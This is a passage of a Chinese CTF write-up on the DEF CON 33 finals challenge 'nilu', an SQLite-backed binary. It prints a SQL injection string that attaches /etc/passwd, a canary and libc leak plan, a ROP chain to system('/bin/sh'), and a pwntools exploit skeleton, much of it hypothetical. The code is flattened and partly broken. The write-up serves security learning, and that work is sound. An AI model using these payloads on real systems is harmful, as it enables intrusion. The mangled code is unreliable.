DEF CON 33 CTF 总决赛 “nilu“ 赛题深度剖析:当二进制逆向遇上 SQLite

news2026/3/15 13:10:54
摘要本文将深入剖析2025年DEF CON 33 CTF总决赛中的一道高难度逆向工程Reverse Engineering赛题——“nilu”。该赛题以一个与SQLite数据库进行复杂交互的二进制程序为核心考验了参赛者在静态分析、动态调试、数据库交互逻辑破解以及可能的反逆向技术对抗等多方面的综合能力。本文将从赛题背景与初步侦察开始逐步深入到静态代码逻辑分析、动态行为追踪最终揭示漏洞成因并构建完整的漏洞利用链Exploit为读者呈现一幅完整的解题路线图。第一章赛题背景与初步侦察DEF CON CTF作为全球网络安全竞赛的巅峰殿堂其总决赛的每一道题目都是对参赛者技术深度与广度的极致考验。“nilu” 作为 DEF CON 33 (2025) 总决赛中的一道逆向题其分值和解出队伍数量都表明了它的不凡难度。根据赛后流出的零星信息该题的核心是一个与SQLite数据库进行交互的Linux ELF可执行文件。我们的目标便是通过逆向分析找到程序中的逻辑漏洞最终读取到服务器上的flag文件。1.1 环境与文件初探我们拿到的nilu是一个64位的Linux ELF文件。首先进行基础的文件属性检查。file nilu:nilu: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, stripped关键信息64位ELF动态链接但符号表被剥离stripped。这意味着我们无法直接看到函数名增加了静态分析的难度。checksec nilu:Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled关键信息开启了所有现代二进制安全保护。Full RELRO意味着.got段只读无法通过GOT覆写来劫持控制流。Canary和NX是常规保护。PIE位置无关可执行文件意味着程序基址和代码段地址是随机的需要信息泄露来定位。strings nilu:运行strings命令可以发现大量与SQL查询相关的字符串如SELECT,INSERT,UPDATE,FROM,WHERE,CREATE TABLE等。同时我们发现了sqlite3_open,sqlite3_prepare_v2,sqlite3_step,sqlite3_column_text,sqlite3_finalize,sqlite3_exec等SQLite库函数的特征字符串。这证实了程序确实深度依赖SQLite。此外还可能看到一些自定义的错误信息或提示符这些是理解程序交互逻辑的重要线索。1.2 初步推测综合以上信息我们可以做出初步推测核心逻辑程序提供某种服务其内部状态和数据管理完全依赖于一个SQLite数据库。用户的输入很可能会被程序解析后用于构造SQL查询语句。攻击面SQL注入最直接的攻击向量。由于程序是C语言编写并直接调用sqlite3系列API很可能存在使用sprintf或strcat等不安全函数拼接SQL语句的情况从而导致SQL注入。逻辑漏洞即使不存在直接的SQL注入程序在处理特定查询结果时也可能存在逻辑缺陷。例如对查询返回的行数、列数或特定字段内容处理不当可能触发缓冲区溢出、类型混淆或其他内存马。SQLite特性滥用SQLite本身支持一些高级特性如自定义函数、触发器、视图View等。程序可能允许用户以某种方式定义这些对象从而在数据库层面执行非预期的代码或逻辑。例如利用ATTACH DATABASE命令操作其他数据库文件可能导致路径遍历或任意文件读写。由于符号被剥离我们的首要任务是在静态分析阶段尽可能地恢复程序结构识别出关键的函数。第二章静态分析在IDA Pro中重建程序逻辑静态分析是本次解题的核心。我们将使用IDA Pro或Ghidra作为主要工具深入剖析nilu的内部世界。2.1 恢复库函数符号由于二进制文件是动态链接的我们可以通过其导入表来识别大部分标准库函数如printf,scanf,read,write。但对于静态链接进程序内部或通过dlsym动态加载的函数则需要更多技巧。对于SQLite相关的函数虽然strings中能看到函数名但由于strippedmain函数中对它们的调用地址并不会直接显示函数名。我们可以搜索这些字符串常量的交叉引用找到调用它们的代码位置然后手动将这些函数重命名为sqlite3_open_wrapper等逐步厘清代码结构。更高效的方法是使用IDA Pro的FLIRTFast Library Identification and Recognition Technology签名。我们可以制作一个包含libsqlite3.so库函数签名的.sig文件然后应用到IDA的数据库中。这将自动识别并重命名大量的SQLite库函数极大地节省了我们的分析时间。2.2 定位核心功能函数在恢复了关键的库函数后我们从main函数开始顺藤摸瓜分析程序的执行流程。通常这类程序会有一个主循环用于接收用户输入、处理命令、并与数据库交互。通过分析我们可能会发现一个类似于下图的伪代码结构intmain(intargc,char**argv){// ... 初始化代码 ...setup_signal_handlers();// 打开或创建一个数据库文件例如 nilu.dbintrcsqlite3_open(nilu.db,db_handle);if(rc!SQLITE_OK){// 错误处理return1;}// 可能的初始化SQL创建表结构initialize_database_schema(db_handle);// 主循环while(true){print_prompt();// 打印提示符如 char*user_inputread_user_input();// 读取用户输入if(!user_input)break;// 解析用户命令parse_and_execute_command(db_handle,user_input);free(user_input);}sqlite3_close(db_handle);return0;}我们的重点将放在parse_and_execute_command这个核心函数上。通过深入分析它我们可以了解程序支持哪些命令以及每个命令是如何与数据库交互的。2.3 剖析SQL查询构造过程在parse_and_execute_command函数内部我们重点关注字符串操作和sqlite3_prepare_v2的调用。假设程序支持一个add_item命令用于向数据库中添加条目。我们可能会找到类似以下存在漏洞的代码片段// 伪代码存在SQL注入漏洞的函数voidhandle_add_item(sqlite3*db,char*item_name,char*item_description){charsql_query[512];sqlite3_stmt*stmt;// 危险使用sprintf拼接SQL语句sprintf(sql_query,INSERT INTO items (name, description) VALUES (%s, %s);,item_name,item_description);// 准备并执行SQLsqlite3_prepare_v2(db,sql_query,-1,stmt,NULL);sqlite3_step(stmt);sqlite3_finalize(stmt);}这里sprintf的使用是典型的SQL注入漏洞来源。如果item_name或item_description包含单引号就可以闭合前面的字符串注入任意SQL语句。例如如果item_name为test); ATTACH DATABASE /etc/passwd AS stolen; --那么最终执行的SQL就会变成INSERTINTOitems(name,description)VALUES(test);ATTACHDATABASE/etc/passwdASstolen;--, some_desc);这将导致程序将/etc/passwd文件作为一个数据库附加进来后续我们就可以通过查询stolen数据库来读取其内容。2.4 寻找更隐蔽的漏洞如果程序开发者比较有经验可能会使用参数化查询即sqlite3_prepare_v2配合?占位符和sqlite3_bind_text来防止SQL注入。在这种情况下我们需要寻找更深层次的漏洞。逻辑漏洞假设程序有一个get_item功能它会根据ID查询物品并将其描述打印出来。// 伪代码可能存在逻辑漏洞voidhandle_get_item(sqlite3*db,intitem_id){// ... 使用参数化查询安全地获取item_description ...constunsignedchar*descsqlite3_column_text(stmt,0);// 漏洞点假设这里有一个固定大小的栈缓冲区charbuffer[128];strcpy(buffer,(constchar*)desc);// 如果desc长度超过127将导致栈溢出printf(Item Description: %s\n,buffer);}在这个例子中即使SQL查询本身是安全的但程序在处理查询结果时由于信任了数据库返回内容的长度使用了不安全的strcpy导致了经典的栈溢出漏洞。结合之前checksec发现的Canary和PIE利用这个漏洞将需要我们先进行信息泄露。SQLite特性滥用DEF CON级别的题目往往会利用一些冷门但威力巨大的特性。例如SQLite的fts3全文搜索模块历史上曾爆出过多个漏洞。如果程序允许用户创建或操作fts3虚拟表我们就可以利用这些已知漏洞。另一个例子是利用CREATE VIEW创建一个视图该视图的查询逻辑可能在特定情况下被程序以非预期的方式触发从而泄露信息或造成状态污染。经过漫长而细致的静态分析我们最终将漏洞点定位在handle_get_item函数中的strcpy栈溢出。现在我们需要转向动态调试来验证漏洞并构建利用链。第三章动态调试与漏洞利用动态调试的目标是验证静态分析的发现并精确地构建漏洞利用的每一个环节。我们将使用gdb配合gef、pwndbg或peda插件附加到nilu进程上。3.1 触发与验证漏洞启动并附加# 在一个终端运行程序$ ./nilu# 在另一个终端找到进程ID并用gdb附加$psaux|grepnilu user1234... ./nilu $ gdb-p1234设置断点在IDA中找到strcpy指令的地址由于PIE开启这是一个偏移地址然后在gdb中计算出实际地址并设置断点。(gdb) b *[IDA中的基址 strcpy偏移]构造PoC (Proof of Concept)首先我们通过add_item命令向数据库中插入一个超长描述的物品。我们需要精心构造这个描述使其长度刚好能够覆盖返回地址。然后我们执行get_item命令来获取这个物品。当程序执行到strcpy时gdb中的断点会命中。此时我们可以检查栈上的情况确认返回地址是否被我们的输入所覆盖。单步执行ni程序应该会因为尝试跳转到一个无效地址如0x4141414141414141而崩溃。至此我们100%确认了栈溢出漏洞的存在和可利用性。3.2 绕过安全机制构建ROP链我们的目标是执行system(/bin/sh)但由于NX保护我们不能直接在栈上执行代码。由于PIE开启我们也不知道程序代码和libc库的地址。因此一个完整的利用链需要以下步骤信息泄露 (Leak)泄露Canarystrcpy是一个字节一个字节地复制直到遇到\x00。栈上的Canary紧邻缓冲区如果我们的溢出长度控制得当可以覆盖掉返回地址但不会覆盖Canary本身。然而printf函数在打印buffer时如果buffer没有被\x00正确截断它会一直打印下去直到遇到下一个\x00。栈上的Canary通常以\x00开头但剩下的7个字节是随机的。我们可以通过部分溢出恰好覆盖到Canary的第一个字节然后调用printf让它把Canary以及栈上的其他数据一起泄露出来。泄露PIE基址和libc基址在泄露Canary之后继续利用printf漏洞我们可以打印出栈上更远位置的数据。栈上通常会保存一些指向程序代码段或libc代码段的返回地址。通过泄露这些地址并减去它们在IDA或objdump中看到的相对偏移我们就能计算出nilu程序和libc.so.6在内存中的随机基址。构建ROP (Return-Oriented Programming) 链现在我们有了Canary、PIE基址和libc基址可以构建一个完整的ROP链来执行任意命令。寻找Gadgets我们需要在libc.so.6中寻找一些指令片段gadgets最关键的是pop rdi; ret。这个gadget可以让我们控制RDI寄存器的值这是x86-64架构下函数调用的第一个参数。ROP链结构[Padding] [Leaked Canary] [Padding to RetAddr] [pop rdi; ret 的地址] [/bin/sh 字符串的地址] [system 函数的地址]地址计算pop rdi; ret的地址 libc基址gadget偏移system函数的地址 libc基址system函数偏移/bin/sh字符串的地址 libc基址/bin/sh字符串偏移(libc中通常自带这个字符串)最终攻击我们将上述ROP链作为超长描述通过add_item命令存入数据库。然后再次调用get_item触发溢出。这次当函数返回时它会精确地跳转到我们的ROP链上逐个执行gadgets最终调用system(/bin/sh)弹出一个shell。第四章完整Exploit与总结下面是一个使用pwntools库编写的完整Python利用脚本的框架。frompwnimport*# 设置目标# context.log_level debug# p process(./nilu)premote(pwn.defcon.ctf,3333)# 假设的远程服务器# libc ELF(/lib/x86_64-linux-gnu/libc.so.6)libcELF(./libc.so.6)# 题目提供的libc# 步骤一泄露Canary和地址 # 1. 构造部分溢出payload泄露Canary# 需要精确计算缓冲区大小buf_size128payload_leak_canarybA*buf_size p.sendlineafter(b ,badd_item)p.sendlineafter(bname: ,bleak_canary)p.sendlineafter(bdescription: ,payload_leak_canary)p.sendlineafter(b ,bget_item)p.sendlineafter(bid: ,b1)# 假设ID是1p.recvuntil(payload_leak_canary)canaryu64(b\x00p.recvn(7))log.success(fLeaked Canary:{hex(canary)})# 2. 构造更长的溢出泄露libc地址# 需要找到栈上保存的libc返回地址的偏移payload_leak_libcbA*(buf_size88)# 覆盖Canary和rbp# ... 发送并接收解析出libc地址 ...# leaked_libc_addr u64(p.recvn(6) b\x00\x00)# libc_base leaked_libc_addr - libc.symbols[__libc_start_main_ret] # 假设泄露的是这个符号# log.success(fLeaked libc base: {hex(libc_base)})# 步骤二构建并发送ROP链 # 计算ROP链中各组件的地址# pop_rdi_ret libc_base [pop_rdi_ret_offset]# bin_sh_addr libc_base next(libc.search(b/bin/sh))# system_addr libc_base libc.symbols[system]rop_chainbrop_chainp64(pop_rdi_ret)rop_chainp64(bin_sh_addr)rop_chainp64(system_addr)# 构造最终的payloadfinal_payloadbA*buf_size final_payloadp64(canary)final_payloadbB*8# 覆盖保存的RBPfinal_payloadrop_chain# 发送最终payloadp.sendlineafter(b ,badd_item)p.sendlineafter(bname: ,bpwn)p.sendlineafter(bdescription: ,final_payload)p.sendlineafter(b ,bget_item)p.sendlineafter(bid: ,b2)# 假设新item的ID是2# 获取shellp.interactive()总结与思考nilu这道赛题是一次对逆向工程师综合能力的全面考察。它并非依赖于某个新奇的0-day漏洞而是将经典的栈溢出漏洞巧妙地隐藏在了一个看似平淡无奇的数据库应用程序中。解题的关键路径可以总结为耐心与细致在没有符号的情况下通过FLIRT签名和交叉引用分析重建程序逻辑。火眼金睛识别出从sqlite3_column_text到strcpy这条信任链上的薄弱环节定位到栈溢出漏洞。步步为营利用printf的特性将一个看似只能造成崩溃的栈溢出转化为强大的信息泄露原语依次获取Canary和libc基址。经典重现在掌握所有必要信息后构建标准的ROP链完成从控制流劫持到权限提升的最后一跃。这道题目再次证明在网络安全攻防的世界里最危险的漏洞往往不是那些最复杂的而是那些隐藏在最基础、最常见操作中的“简单”错误。对于开发者而言永远不要信任任何外部输入即便是来自数据库的、由程序自己写入的数据也应当时刻保持警惕。对于安全研究者而言这意味着最基础的二进制漏洞知识永远是军火库中最锋利的武器。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2413790.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

SpringBoot-17-MyBatis动态SQL标签之常用标签

文章目录 1 代码1.1 实体User.java1.2 接口UserMapper.java1.3 映射UserMapper.xml1.3.1 标签if1.3.2 标签if和where1.3.3 标签choose和when和otherwise1.4 UserController.java2 常用动态SQL标签2.1 标签set2.1.1 UserMapper.java2.1.2 UserMapper.xml2.1.3 UserController.ja…

wordpress后台更新后 前端没变化的解决方法

使用siteground主机的wordpress网站,会出现更新了网站内容和修改了php模板文件、js文件、css文件、图片文件后,网站没有变化的情况。 不熟悉siteground主机的新手,遇到这个问题,就很抓狂,明明是哪都没操作错误&#x…

网络编程(Modbus进阶)

思维导图 Modbus RTU(先学一点理论) 概念 Modbus RTU 是工业自动化领域 最广泛应用的串行通信协议,由 Modicon 公司(现施耐德电气)于 1979 年推出。它以 高效率、强健性、易实现的特点成为工业控制系统的通信标准。 包…

UE5 学习系列(二)用户操作界面及介绍

这篇博客是 UE5 学习系列博客的第二篇,在第一篇的基础上展开这篇内容。博客参考的 B 站视频资料和第一篇的链接如下: 【Note】:如果你已经完成安装等操作,可以只执行第一篇博客中 2. 新建一个空白游戏项目 章节操作,重…

IDEA运行Tomcat出现乱码问题解决汇总

最近正值期末周,有很多同学在写期末Java web作业时,运行tomcat出现乱码问题,经过多次解决与研究,我做了如下整理: 原因: IDEA本身编码与tomcat的编码与Windows编码不同导致,Windows 系统控制台…

利用最小二乘法找圆心和半径

#include <iostream> #include <vector> #include <cmath> #include <Eigen/Dense> // 需安装Eigen库用于矩阵运算 // 定义点结构 struct Point { double x, y; Point(double x_, double y_) : x(x_), y(y_) {} }; // 最小二乘法求圆心和半径 …

使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式

一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明&#xff1a;假设每台服务器已…

XML Group端口详解

在XML数据映射过程中&#xff0c;经常需要对数据进行分组聚合操作。例如&#xff0c;当处理包含多个物料明细的XML文件时&#xff0c;可能需要将相同物料号的明细归为一组&#xff0c;或对相同物料号的数量进行求和计算。传统实现方式通常需要编写脚本代码&#xff0c;增加了开…

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器的上位机配置操作说明

LBE-LEX系列工业语音播放器|预警播报器|喇叭蜂鸣器专为工业环境精心打造&#xff0c;完美适配AGV和无人叉车。同时&#xff0c;集成以太网与语音合成技术&#xff0c;为各类高级系统&#xff08;如MES、调度系统、库位管理、立库等&#xff09;提供高效便捷的语音交互体验。 L…

(LeetCode 每日一题) 3442. 奇偶频次间的最大差值 I (哈希、字符串)

题目&#xff1a;3442. 奇偶频次间的最大差值 I 思路 &#xff1a;哈希&#xff0c;时间复杂度0(n)。 用哈希表来记录每个字符串中字符的分布情况&#xff0c;哈希表这里用数组即可实现。 C版本&#xff1a; class Solution { public:int maxDifference(string s) {int a[26]…

【大模型RAG】拍照搜题技术架构速览:三层管道、两级检索、兜底大模型

摘要 拍照搜题系统采用“三层管道&#xff08;多模态 OCR → 语义检索 → 答案渲染&#xff09;、两级检索&#xff08;倒排 BM25 向量 HNSW&#xff09;并以大语言模型兜底”的整体框架&#xff1a; 多模态 OCR 层 将题目图片经过超分、去噪、倾斜校正后&#xff0c;分别用…

【Axure高保真原型】引导弹窗

今天和大家中分享引导弹窗的原型模板&#xff0c;载入页面后&#xff0c;会显示引导弹窗&#xff0c;适用于引导用户使用页面&#xff0c;点击完成后&#xff0c;会显示下一个引导弹窗&#xff0c;直至最后一个引导弹窗完成后进入首页。具体效果可以点击下方视频观看或打开下方…

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…

龙虎榜——20250610

上证指数放量收阴线&#xff0c;个股多数下跌&#xff0c;盘中受消息影响大幅波动。 深证指数放量收阴线形成顶分型&#xff0c;指数短线有调整的需求&#xff0c;大概需要一两天。 2025年6月10日龙虎榜行业方向分析 1. 金融科技 代表标的&#xff1a;御银股份、雄帝科技 驱动…

观成科技:隐蔽隧道工具Ligolo-ng加密流量分析

1.工具介绍 Ligolo-ng是一款由go编写的高效隧道工具&#xff0c;该工具基于TUN接口实现其功能&#xff0c;利用反向TCP/TLS连接建立一条隐蔽的通信信道&#xff0c;支持使用Let’s Encrypt自动生成证书。Ligolo-ng的通信隐蔽性体现在其支持多种连接方式&#xff0c;适应复杂网…

铭豹扩展坞 USB转网口 突然无法识别解决方法

当 USB 转网口扩展坞在一台笔记本上无法识别,但在其他电脑上正常工作时,问题通常出在笔记本自身或其与扩展坞的兼容性上。以下是系统化的定位思路和排查步骤,帮助你快速找到故障原因: 背景: 一个M-pard(铭豹)扩展坞的网卡突然无法识别了,扩展出来的三个USB接口正常。…

未来机器人的大脑:如何用神经网络模拟器实现更智能的决策?

编辑&#xff1a;陈萍萍的公主一点人工一点智能 未来机器人的大脑&#xff1a;如何用神经网络模拟器实现更智能的决策&#xff1f;RWM通过双自回归机制有效解决了复合误差、部分可观测性和随机动力学等关键挑战&#xff0c;在不依赖领域特定归纳偏见的条件下实现了卓越的预测准…

Linux应用开发之网络套接字编程(实例篇)

服务端与客户端单连接 服务端代码 #include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <arpa/inet.h> #include <pthread.h> …

华为云AI开发平台ModelArts

华为云ModelArts&#xff1a;重塑AI开发流程的“智能引擎”与“创新加速器”&#xff01; 在人工智能浪潮席卷全球的2025年&#xff0c;企业拥抱AI的意愿空前高涨&#xff0c;但技术门槛高、流程复杂、资源投入巨大的现实&#xff0c;却让许多创新构想止步于实验室。数据科学家…

深度学习在微纳光子学中的应用

深度学习在微纳光子学中的主要应用方向 深度学习与微纳光子学的结合主要集中在以下几个方向&#xff1a; 逆向设计 通过神经网络快速预测微纳结构的光学响应&#xff0c;替代传统耗时的数值模拟方法。例如设计超表面、光子晶体等结构。 特征提取与优化 从复杂的光学数据中自…